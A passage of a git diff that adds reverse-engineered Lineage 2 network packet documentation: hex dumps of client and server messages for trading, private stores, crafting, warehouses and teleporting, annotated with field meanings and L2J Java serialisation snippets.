+04 54 03 55 54 01 57 51 55 05 52 05 54 07 51 51 +55 07 02 53 53 00 52 05 52 07 01 54 00 03 05 05 +08 06 05 05 06 03 00 0D 08 01 07 09 03 51 03 07 +53 09 51 06 07 54 0A 50 56 02 52 04 05 55 51 02 +53 00 08 54 04 52 56 06 02 09 00 08 03 53 56 01 +05 00 55 06 08 56 04 0D 06 07 52 06 07 04 0A 06 +01 04 54 04 00 05 02 04 54 00 09 52 53 05 04 01 +04 05 05 01 52 51 52 0D 06 51 08 09 54 53 00 0D +01 02 03 54 53 01 05 03 08 56 54 07 02 54 0B 06 +FB 87 B9 4A \ No newline at end of file diff --git a/docs/gamepackets/RecipeShopMsg.txt b/docs/gamepackets/RecipeShopMsg.txt new file mode 100644 index 0000000..a51a942 --- /dev/null +++ b/docs/gamepackets/RecipeShopMsg.txt @@ -0,0 +1,4 @@ +Server: Len 43 [RecipeShopMsg] +2B 00 +E1 +86 C5 01 10 2D 00 3D 00 3D 00 3D 00 44 00 45 00 4C 00 41 00 79 00 20 00 43 00 41 00 4D 00 3D 00 3D 00 3D 00 2D 00 00 00 \ No newline at end of file diff --git a/docs/gamepackets/RequestAutoSoulShot.txt b/docs/gamepackets/RequestAutoSoulShot.txt new file mode 100644 index 0000000..b7dbe9b --- /dev/null +++ b/docs/gamepackets/RequestAutoSoulShot.txt @@ -0,0 +1,6 @@ +Client Len 13 [RequestAutoSoulShot] +0D 00 +D0 +0D 00 +6F 0F 00 00 // itemID +01 00 00 00 // 1 - on, 0 - off diff --git a/docs/gamepackets/RequestBuyItem.txt b/docs/gamepackets/RequestBuyItem.txt new file mode 100644 index 0000000..a2c62ce --- /dev/null +++ b/docs/gamepackets/RequestBuyItem.txt @@ -0,0 +1,8 @@ +Client: Len 19 [RequestBuyItem] +13 00 +40 +90 00 00 00 // list ID +01 00 00 00 // count + [[ for each item ]] +25 04 00 00 // itemID +64 00 00 00 // count \ No newline at end of file diff --git a/docs/gamepackets/RequestBypassToServer.txt b/docs/gamepackets/RequestBypassToServer.txt new file mode 100644 index 0000000..9478db0 --- /dev/null +++ b/docs/gamepackets/RequestBypassToServer.txt @@ -0,0 +1,8 @@ +Client: Len 45 [RequestBypassToServer] +2D 00 +23 +6E 00 70 00 63 00 5F 00 32 00 36 00 38 00 34 00 +33 00 37 00 39 00 39 00 30 00 5F 00 43 00 68 00 +61 00 74 00 20 00 31 00 00 00 + +_command = readS() diff --git a/docs/gamepackets/RequestCrystallizeItem.txt b/docs/gamepackets/RequestCrystallizeItem.txt new file mode 100644 index 0000000..b47d5a0 --- /dev/null +++ b/docs/gamepackets/RequestCrystallizeItem.txt @@ -0,0 +1,5 @@ +Client: Len 11 +0B 00 +2F +13 14 04 10 // objectID 268702739 +01 00 00 00 // count 1 diff --git a/docs/gamepackets/RequestDestroyItem.txt b/docs/gamepackets/RequestDestroyItem.txt new file mode 100644 index 0000000..4464135 --- /dev/null +++ b/docs/gamepackets/RequestDestroyItem.txt @@ -0,0 +1,5 @@ +Client: Len 11 [RequestDestroyItem] +0B 00 +60 +71 08 00 10 // objectID +01 00 00 00 // count diff --git a/docs/gamepackets/RequestDispel.txt b/docs/gamepackets/RequestDispel.txt new file mode 100644 index 0000000..7771aa2 --- /dev/null +++ b/docs/gamepackets/RequestDispel.txt @@ -0,0 +1,5 @@ +Client: Len 13 [RequestDispel] +0D 00 +D0 4E 00 // D0:004E RequestDispel +4B 05 00 00 // skillID 1355 (PoWater?) +01 00 00 00 // skillLvl lvl 1 diff --git a/docs/gamepackets/RequestDropItem.txt b/docs/gamepackets/RequestDropItem.txt new file mode 100644 index 0000000..2c9981e --- /dev/null +++ b/docs/gamepackets/RequestDropItem.txt @@ -0,0 +1,14 @@ +Client: Len 23 [RequestDropItem] +17 00 +17 +E4 09 00 10 // objectID +01 00 00 00 // count +F4 AA 00 00 // x +2F A4 00 00 // y +43 F2 FF FF // z + +_objectId = readD(); +_count = readD(); +_x = readD(); +_y = readD(); +_z = readD(); diff --git a/docs/gamepackets/RequestJoinParty.txt b/docs/gamepackets/RequestJoinParty.txt new file mode 100644 index 0000000..207c798 --- /dev/null +++ b/docs/gamepackets/RequestJoinParty.txt @@ -0,0 +1,5 @@ +Client: Len 15 +0F 00 +42 +6C 00 6F 00 6C 00 00 00 // target char name +00 00 00 00 // loot type, item distribution \ No newline at end of file diff --git a/docs/gamepackets/RequestOustPartyMember.txt b/docs/gamepackets/RequestOustPartyMember.txt new file mode 100644 index 0000000..93b997c --- /dev/null +++ b/docs/gamepackets/RequestOustPartyMember.txt @@ -0,0 +1,9 @@ +protected void readImpl() +{ + _name = readS(); +} + +Client: Len 13 +0D 00 +45 +4C 00 65 00 78 00 78 00 00 00 diff --git a/docs/gamepackets/RequestPrivateStoreBuy.txt b/docs/gamepackets/RequestPrivateStoreBuy.txt new file mode 100644 index 0000000..41e2277 --- /dev/null +++ b/docs/gamepackets/RequestPrivateStoreBuy.txt @@ -0,0 +1,9 @@ +Client: Len 23 [RequestPrivateStoreBuy] +17 00 +83 // pcode +CE 09 00 10 // seller player oid +01 00 00 00 // count + // for each item +D0 09 00 10 // item oid +01 00 00 00 // count +01 00 00 00 // price \ No newline at end of file diff --git a/docs/gamepackets/RequestPrivateStoreQuitBuy.txt b/docs/gamepackets/RequestPrivateStoreQuitBuy.txt new file mode 100644 index 0000000..7902fd3 --- /dev/null +++ b/docs/gamepackets/RequestPrivateStoreQuitBuy.txt @@ -0,0 +1 @@ +Client: Len 3 [RequestPrivateStoreQuitBuy] | 03 00 / 9C / \ No newline at end of file diff --git a/docs/gamepackets/RequestPrivateStoreQuitSell.txt b/docs/gamepackets/RequestPrivateStoreQuitSell.txt new file mode 100644 index 0000000..15bb96e --- /dev/null +++ b/docs/gamepackets/RequestPrivateStoreQuitSell.txt @@ -0,0 +1 @@ +Client: Len 3 [RequestPrivateStoreQuitSell] | 03 00 / 96 / \ No newline at end of file diff --git a/docs/gamepackets/RequestPrivateStoreSell.txt b/docs/gamepackets/RequestPrivateStoreSell.txt new file mode 100644 index 0000000..a1f6d3e --- /dev/null +++ b/docs/gamepackets/RequestPrivateStoreSell.txt @@ -0,0 +1,11 @@ +Client: Len 31 [RequestPrivateStoreSell] +1F 00 +9F // pcode +CE 09 00 10 // seller oid +01 00 00 00 // count + +C7 09 00 10 // oid +F4 25 00 00 // iid +00 00 00 00 // ?? 0x00000000 +02 00 00 00 // cnt +01 00 00 00 // price \ No newline at end of file diff --git a/docs/gamepackets/RequestRestart.txt b/docs/gamepackets/RequestRestart.txt new file mode 100644 index 0000000..93ad1e2 --- /dev/null +++ b/docs/gamepackets/RequestRestart.txt @@ -0,0 +1,6 @@ +Client: Len 3 +03 00 +57 + +send when IN_GAME mode, to character select screen. +if restart possible server responds with 0x57 RestartResponse \ No newline at end of file diff --git a/docs/gamepackets/RequestRestartPoint.txt b/docs/gamepackets/RequestRestartPoint.txt new file mode 100644 index 0000000..64ed889 --- /dev/null +++ b/docs/gamepackets/RequestRestartPoint.txt @@ -0,0 +1,15 @@ +Client: Len 7 [RequestRestartPoint] +07 00 +7D +00 00 00 00 // 00 - to village + + +case 1: // to clanhall +case 2: // to castle +case 3: // to fortress +case 4: // to siege HQ +case 5: // Fixed or Player is a festival participant + +after successful restart point server sends TeleportToLocation +then client send Appearing +then server sends Revive \ No newline at end of file diff --git a/docs/gamepackets/RequestSaveInventoryOrder.txt b/docs/gamepackets/RequestSaveInventoryOrder.txt new file mode 100644 index 0000000..3e8ce09 --- /dev/null +++ b/docs/gamepackets/RequestSaveInventoryOrder.txt @@ -0,0 +1,7 @@ +Client Len 49 [RequestSaveInventoryOrder] +31 00 +D0 +24 00 +05 00 00 00 6E 08 00 10 00 00 00 00 6F 08 00 10 01 00 +00 00 70 08 00 10 02 00 00 00 EC 09 00 10 03 00 +00 00 F5 0C 00 10 04 00 00 00 diff --git a/docs/gamepackets/RequestSellItem.txt b/docs/gamepackets/RequestSellItem.txt new file mode 100644 index 0000000..c215132 --- /dev/null +++ b/docs/gamepackets/RequestSellItem.txt @@ -0,0 +1,13 @@ +Client: Len 59 [RequestSellItem] +3B 00 +37 // pcode +00 00 00 00 // list ID (0 - to NPC?) +04 00 00 00 // count + [[ for each item ]] +1D 21 01 10 // objectID +F0 0F 00 00 // itemID +01 00 00 00 // count + +B4 20 01 10 F9 0F 00 00 01 00 00 00 +A5 1C 01 10 03 10 00 00 02 00 00 00 +05 23 01 10 F8 0F 00 00 01 00 00 00 \ No newline at end of file diff --git a/docs/gamepackets/RequestSkillCoolTime.txt b/docs/gamepackets/RequestSkillCoolTime.txt new file mode 100644 index 0000000..70a7862 --- /dev/null +++ b/docs/gamepackets/RequestSkillCoolTime.txt @@ -0,0 +1,3 @@ +Client: Len 3 +03 00 +A6 \ No newline at end of file diff --git a/docs/gamepackets/RequestTargetCanceld.txt b/docs/gamepackets/RequestTargetCanceld.txt new file mode 100644 index 0000000..621e17f --- /dev/null +++ b/docs/gamepackets/RequestTargetCanceld.txt @@ -0,0 +1,4 @@ +Client Len 5 [ RequestTargetCanceld] +05 00 +48 +00 00 \ No newline at end of file diff --git a/docs/gamepackets/RequestUserCommand.txt b/docs/gamepackets/RequestUserCommand.txt new file mode 100644 index 0000000..9f82366 --- /dev/null +++ b/docs/gamepackets/RequestUserCommand.txt @@ -0,0 +1,24 @@ +Client Len 7 [ RequestUserCommand] +07 00 +B3 +00 00 00 00 // command ID + +================================ + +Decimal command numbers: + +0 - /loc +52 - /unstuck (Escape) +61 - /Mount +62 - /DisMount +77 - /time +81 - /partyinfo +88 - /AttackList +89 - /underattacklist +90 - /warlist +93 - /ChannelDelete +96 - /ChannelLeave +97 - /ChannelListUpdate +100 - /ClanPenalty +109 - /OlympiadStat +114 - /InstanceZone \ No newline at end of file diff --git a/docs/gamepackets/Revive.txt b/docs/gamepackets/Revive.txt new file mode 100644 index 0000000..6255d76 --- /dev/null +++ b/docs/gamepackets/Revive.txt @@ -0,0 +1,4 @@ +Server: Len 7 [Revive] +07 00 +01 +3F 8E 05 10 // objectID? \ No newline at end of file diff --git a/docs/gamepackets/SellList.txt b/docs/gamepackets/SellList.txt new file mode 100644 index 0000000..5362c13 --- /dev/null +++ b/docs/gamepackets/SellList.txt @@ -0,0 +1,56 @@ +Server: Len 1357 [SellList] +4D 05 +06 +6F A5 34 00 // cur money +00 00 00 00 // lease npcID ? O_o wtf +15 00 // items count + + [ for each item ] + +04 00 // type1 +C4 40 07 10 // objectID +E0 02 00 00 // itemID +0B 00 00 00 // count +05 00 // type2 +00 00 // ?? +00 00 00 00 // body part +00 00 // enchant level +00 00 00 00 // ?? +C8 00 00 00 // sell price +FE FF FF FF // atk attrib type +00 00 00 00 // atk attrib val +00 00 00 00 // def attr fire +00 00 00 00 // -- water +00 00 00 00 // -- wind +00 00 00 00 // -- earth +00 00 00 00 // -- holy +00 00 00 00 // -- unholy + + +L2J WriteImpl + + writeC(0x06); + writeD(_money); + writeD(_lease == null ? 0x00 : 1000000 + _lease.getTemplate().npcId); + writeH(_selllist.size()); + for (L2ItemInstance item : _selllist) + { + writeH(item.getItem().getType1()); + writeD(item.getObjectId()); + writeD(item.getItemId()); + writeD(item.getCount()); + writeH(item.getItem().getType2()); + writeH(0x00); + writeD(item.getItem().getBodyPart()); + writeH(item.getEnchantLevel()); + writeH(0x00); + writeH(0x00); + writeD(item.getItem().getReferencePrice()/2); + // T1 + writeD(item.getAttackElementType()); + writeD(item.getAttackElementPower()); + for (byte i = 0; i < 6; i++) + { + writeD(item.getElementDefAttr(i)); + } + } \ No newline at end of file diff --git a/docs/gamepackets/Selling.txt b/docs/gamepackets/Selling.txt new file mode 100644 index 0000000..1b75d83 --- /dev/null +++ b/docs/gamepackets/Selling.txt @@ -0,0 +1,26 @@ +Client Requests action "Sell" +Client: Len 12 [RequestActionUse] +0C 00 +56 +0A 00 00 00 // sell? +00 00 00 00 +00 + +Server send list of items which can be sold +Server: Len 2255 [PrivateStoreManageListSell] +CF 08 +A0 +09 A5 04 10 +00 00 00 00 +87 C1 00 00 +24 00 00 00 05 00 00 00 39 D6 05 10 B2 05 00 00 2E 00 00 00 00 00 00 00 00 00 00 00 00 00 8A 02 00 00 FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 05 00 00 00 0E 30 05 10 49 07 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 C8 00 00 00 FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 05 00 00 00 B7 3B 05 10 DE 02 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 B0 04 00 00 FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 05 00 00 00 BC A2 05 10 E0 02 00 00 09 00 00 00 00 00 00 00 00 00 00 00 00 00 90 01 00 00 FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 05 00 00 00 AC 36 05 10 4E 07 00 00 0C 00 00 00 00 00 00 00 00 00 00 00 00 00 C8 00 00 00 FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 05 00 00 00 6B 2B 07 10 E2 07 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 CA 3A 00 00 FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 05 00 00 00 CC 48 05 10 5C 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 E8 03 00 00 FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 05 00 00 00 CC 36 05 10 4F 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 C8 00 00 00 FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 05 00 00 00 14 2A 07 10 5D 07 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 60 09 00 00 FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 05 00 00 00 FB 3B 07 10 59 07 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 DC 05 00 00 FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 05 00 00 00 D6 2F 05 10 5F 08 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 E8 03 00 00 FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 05 00 00 00 E7 2D 07 10 5C 07 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 45 01 00 00 FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 05 00 00 00 BE 36 07 10 6C 07 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 24 07 00 00 FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 05 00 00 00 56 94 05 10 29 07 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 4B 00 00 00 FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 05 00 00 00 1F 72 05 10 58 07 00 00 03 00 00 00 00 00 00 00 00 00 00 00 00 00 D0 07 00 00 FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 05 00 00 00 AC C7 05 10 66 08 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 AA 01 00 00 FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 05 00 00 00 75 44 05 10 5A 07 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 84 03 00 00 FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 BE 39 07 10 ED 2E 00 00 01 00 00 00 00 00 00 00 00 00 00 01 00 00 A7 03 00 00 FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 05 00 00 00 FA D6 05 10 F9 06 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 FA 00 00 00 FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 4B 2F 07 10 87 01 00 00 01 00 00 00 00 00 00 00 00 00 00 04 00 00 48 BC 00 00 FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 05 00 00 00 85 BC 04 10 4D 07 00 00 0D 00 00 00 00 00 00 00 00 00 00 00 00 00 C8 00 00 00 FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 05 00 00 00 0B A5 04 10 F4 25 00 00 0A 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 05 00 00 00 0C A5 04 10 9A 29 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 05 00 00 00 6D 3C 05 10 50 07 00 00 0E 00 00 00 00 00 00 00 00 00 00 00 00 00 96 00 00 00 FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 05 00 00 00 BD A2 05 10 24 04 00 00 19 00 00 00 00 00 00 00 00 00 00 00 00 00 5A 00 00 00 FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 05 00 00 00 94 FD 04 10 48 07 00 00 1D 00 00 00 00 00 00 00 00 00 00 00 00 00 64 00 00 00 FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 05 00 00 00 A5 72 05 10 6A 07 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 9B 07 00 00 FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 05 00 00 00 BE 3C 07 10 6B 07 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 05 00 00 FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 05 00 00 00 4E 14 05 10 4B 07 00 00 17 00 00 00 00 00 00 00 00 00 00 00 00 00 96 00 00 00 FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 05 00 00 00 01 16 05 10 4C 07 00 00 15 00 00 00 00 00 00 00 00 00 00 00 00 00 64 00 00 00 FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 05 00 00 00 0A 17 05 10 4A 07 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 2C 01 00 00 FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 05 00 00 00 E7 17 05 10 51 07 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 F4 01 00 00 FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 05 00 00 00 33 C5 05 10 2B 07 00 00 14 03 00 00 00 00 00 00 00 00 00 00 00 00 06 00 00 00 FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 05 00 00 00 AE C9 05 10 26 14 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 88 13 00 00 FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 05 00 00 00 1A CB 05 10 64 14 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 88 13 00 00 FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 05 00 00 00 2D 9A 06 10 B7 05 00 00 DC 13 00 00 00 00 00 00 00 00 00 00 00 00 0A 00 00 00 FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 + +Client sets sell message "S S D" +Client: Len 11 [SetPrivateStoreMsgSell] | 0B 00 / 97 / 53 00 53 00 44 00 00 00 +Server: Len 15 [PrivateStoreMsgSell] | 0F 00 / A2 / 09 A5 04 10 53 00 53 00 44 00 00 00 + +Then client sets its sell list +Client: Len 23 [SetPrivateStoreListSell] | 17 00 / 31 / 00 00 00 00 01 00 00 00 2D 9A 06 10 DC 13 00 00 0E 00 00 00 + +Server makes client sit down +Server: Len 23 [ChangeWaitType] | 17 00 / 29 / 09 A5 04 10 00 00 00 00 B3 C4 FE FF 46 49 02 00 18 F4 FF FF \ No newline at end of file diff --git a/docs/gamepackets/SendBypassBuildCmd.txt b/docs/gamepackets/SendBypassBuildCmd.txt new file mode 100644 index 0000000..26abe8b --- /dev/null +++ b/docs/gamepackets/SendBypassBuildCmd.txt @@ -0,0 +1,5 @@ +Client: Len 13 [SendBypassBuildCmd] +0D 00 +74 +68 00 65 00 61 00 6C 00 00 00 _command = readS(); + diff --git a/docs/gamepackets/SendWarehouseDepositList.txt b/docs/gamepackets/SendWarehouseDepositList.txt new file mode 100644 index 0000000..2957665 --- /dev/null +++ b/docs/gamepackets/SendWarehouseDepositList.txt @@ -0,0 +1 @@ +Client: Len 111 [ SendWareHouseDepositList] | 6F 00 / 3B / 0D 00 00 00 53 20 01 10 02 00 00 00 D2 0C 02 10 10 00 00 00 26 1E 01 10 1F 00 00 00 8B 1D 01 10 37 00 00 00 29 1D 01 10 06 00 00 00 9A 1B 01 10 04 00 00 00 83 1B 01 10 0F 00 00 00 70 FC 00 10 18 00 00 00 F9 0C 08 10 02 00 00 00 E2 51 06 10 02 00 00 00 41 53 07 10 0E 00 00 00 94 4D 07 10 07 00 00 00 45 4D 07 10 27 00 00 00 \ No newline at end of file diff --git a/docs/gamepackets/SendWarehouseWithdrawalList.txt b/docs/gamepackets/SendWarehouseWithdrawalList.txt new file mode 100644 index 0000000..514e0f5 --- /dev/null +++ b/docs/gamepackets/SendWarehouseWithdrawalList.txt @@ -0,0 +1,4 @@ +Client: Len 103 [SendWareHouseWithDrawList] +67 00 +3C +0C 00 00 00 60 72 08 10 01 00 00 00 5E 72 08 10 01 00 00 00 61 72 08 10 01 00 00 00 5C 72 08 10 01 00 00 00 5D 72 08 10 01 00 00 00 E5 6E 07 10 01 00 00 00 E1 6E 07 10 01 00 00 00 F9 6E 07 10 01 00 00 00 03 6F 07 10 01 00 00 00 E2 6E 07 10 01 00 00 00 D0 60 07 10 01 00 00 00 B5 BB 07 10 7E 05 00 00 \ No newline at end of file diff --git a/docs/gamepackets/SetPrivateStoreListSell.txt b/docs/gamepackets/SetPrivateStoreListSell.txt new file mode 100644 index 0000000..33f37d1 --- /dev/null +++ b/docs/gamepackets/SetPrivateStoreListSell.txt @@ -0,0 +1,9 @@ +Client: Len 23 [SetPrivateStoreListSell] +17 00 +31 // pcode +00 00 00 00 // package? +01 00 00 00 // count + +2D 9A 06 10 // obj ID +DC 13 00 00 // count +0E 00 00 00 // price diff --git a/docs/gamepackets/SetupGauge.txt b/docs/gamepackets/SetupGauge.txt new file mode 100644 index 0000000..a86d47e --- /dev/null +++ b/docs/gamepackets/SetupGauge.txt @@ -0,0 +1,6 @@ +Server: Len 15 [SetupGauge] +0F 00 +6B +00 00 00 00 // color 0-blue 1-red 2-cyan 3- +57 07 00 00 // skill cast time 1879, ms +57 07 00 00 diff --git a/docs/gamepackets/ShortBuffStatusUpdate.txt b/docs/gamepackets/ShortBuffStatusUpdate.txt new file mode 100644 index 0000000..c0ef726 --- /dev/null +++ b/docs/gamepackets/ShortBuffStatusUpdate.txt @@ -0,0 +1,13 @@ +protected final void writeImpl() +{ + writeC(0xfa); + writeD(_skillId); + writeD(_skillLvl); + writeD(_duration); // in seconds! +} + +0D 00 +FA +XX XX XX XX +XX XX XX XX +XX XX XX XX // in seconds! diff --git a/docs/gamepackets/Siiting_on_Craft.txt b/docs/gamepackets/Siiting_on_Craft.txt new file mode 100644 index 0000000..90022cf --- /dev/null +++ b/docs/gamepackets/Siiting_on_Craft.txt @@ -0,0 +1,81 @@ +Client: Len 12 [RequestActionUse] | 0C 00 / 56 / 25 00 00 00 00 00 00 00 00 + +Server: Len 183 [RecipeShopManageList] +B7 00 +DE // pcode +09 A5 04 10 // seller oid +D4 A1 1E 00 // seller adena +00 00 00 00 // isCommonCraft; 0 - dwarven, 1 - common +14 00 00 00 // section 2 count +14 00 00 00 // recipe ID +01 00 00 00 // seq.number +15 00 00 00 02 00 00 00 +19 00 00 00 03 00 00 00 +1A 00 00 00 04 00 00 00 +1B 00 00 00 05 00 00 00 +1C 00 00 00 06 00 00 00 +1D 00 00 00 07 00 00 00 +1E 00 00 00 08 00 00 00 +1F 00 00 00 09 00 00 00 +20 00 00 00 0A 00 00 00 +21 00 00 00 0B 00 00 00 +22 00 00 00 0C 00 00 00 +23 00 00 00 0D 00 00 00 +24 00 00 00 0E 00 00 00 +25 00 00 00 0F 00 00 00 +26 00 00 00 10 00 00 00 +27 00 00 00 11 00 00 00 +43 01 00 00 12 00 00 00 +44 01 00 00 13 00 00 00 +60 02 00 00 14 00 00 00 +00 00 00 00 // section 3 count +XX XX XX XX // recipe id +00 00 00 00 // 0x00 +XX XX XX XX // cost + +Client: Len 25 [RequestRecipeShopMessageSet] +19 00 +BA // pcode +63 00 72 00 61 00 66 00 74 00 20 00 66 00 72 00 65 00 65 00 00 00 // unicode str + +Client: Len 31 [RequestRecipeShopListSet] +1F 00 +BB // pcode +03 00 00 00 // count + [ for each recipe ] +44 01 00 00 // recipe ID +01 00 00 00 // price + +// server makes client sit down +Server: Len 23 [ChangeWaitType] | 17 00 / 29 / 09 A5 04 10 00 00 00 00 F2 40 01 00 F5 D2 00 00 24 FA FF FF + +// +Server: Len 29 [RecipeShopMsg] +1D 00 +E1 +09 A5 04 10 // oid? +63 00 72 00 61 00 66 00 74 00 20 00 66 00 72 00 65 00 65 00 00 00 // message str + +......... + +Client: Len 3 [RequestRecipeShopManageQuit] | 03 00 / BC / + + + + +Recipe ID ==>> item ID conversion from sql table.... or some other + +Client: Len 31 [RequestRecipeShopListSet] +1F 00 +BB +03 00 00 00 + +14 00 00 00 // ssd (20) +01 00 00 00 + +15 00 00 00 // ssc (21) +02 00 00 00 + +44 01 00 00 // bssc (324) +03 00 00 00 + diff --git a/docs/gamepackets/StopMove.txt b/docs/gamepackets/StopMove.txt new file mode 100644 index 0000000..92eb38c --- /dev/null +++ b/docs/gamepackets/StopMove.txt @@ -0,0 +1,18 @@ +Server: Len 23 [StopMove] +17 00 +47 // StopMove +6C 08 00 10 // objectID of char who stopped +9A AC 00 00 // x +F9 A4 00 00 // y +5D F2 FF FF // z +45 B9 00 00 // heading + +protected final void writeImpl() +{ + writeC(0x47); + writeD(_objectId); + writeD(_x); + writeD(_y); + writeD(_z); + writeD(_heading); +} diff --git a/docs/gamepackets/TeleportToLocation.txt b/docs/gamepackets/TeleportToLocation.txt new file mode 100644 index 0000000..44199e1 --- /dev/null +++ b/docs/gamepackets/TeleportToLocation.txt @@ -0,0 +1,13 @@ +Server: Len 19 [TeleportToLocation] +13 00 +22 +6D 08 00 10 // oid 268437613 +3F 1D 01 00 // x 73023 +DC CE 01 00 // y 118492 +9D F1 FF FF // z -3683 + +writeC(0x22); +writeD(_targetObjId); +writeD(_x); +writeD(_y); +writeD(_z); \ No newline at end of file diff --git a/docs/gamepackets/TradeRequest.txt b/docs/gamepackets/TradeRequest.txt new file mode 100644 index 0000000..279336b --- /dev/null +++ b/docs/gamepackets/TradeRequest.txt @@ -0,0 +1,81 @@ +Trading (requester sends): +Client: Len 7 [TradeRequest] | 07 00 +1A // pcode +C5 09 00 10 // objectID of partner + +Trade receiver recieves: +Server: Len 7 [SendTradeRequest] +07 00 +70 // pcode +CE 09 00 10 // object ID of person who wants to trade to you + +Trade receiver responds: +Client: Len 7 [AnswerTradeRequest] +07 00 +55 // pcode +01 00 00 00 // 1 - ok, 0 - cancel + +// then both (requester and receiver) receive +Server: Len 189 [TradeStart] +BD 00 +14 // pcode +C5 09 00 10 // partner objectID +03 00 // items count (your inv) + /// for each item +04 00 // item type1 +CF 09 00 10 // item oid +D4 15 00 00 // item iid +01 00 00 00 // item count +05 00 // item type2 +00 00 // 00 +00 00 00 00 // body part +00 00 // enchant +00 00 00 00 // 0000 +FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 // attribs + +Server: Len 65 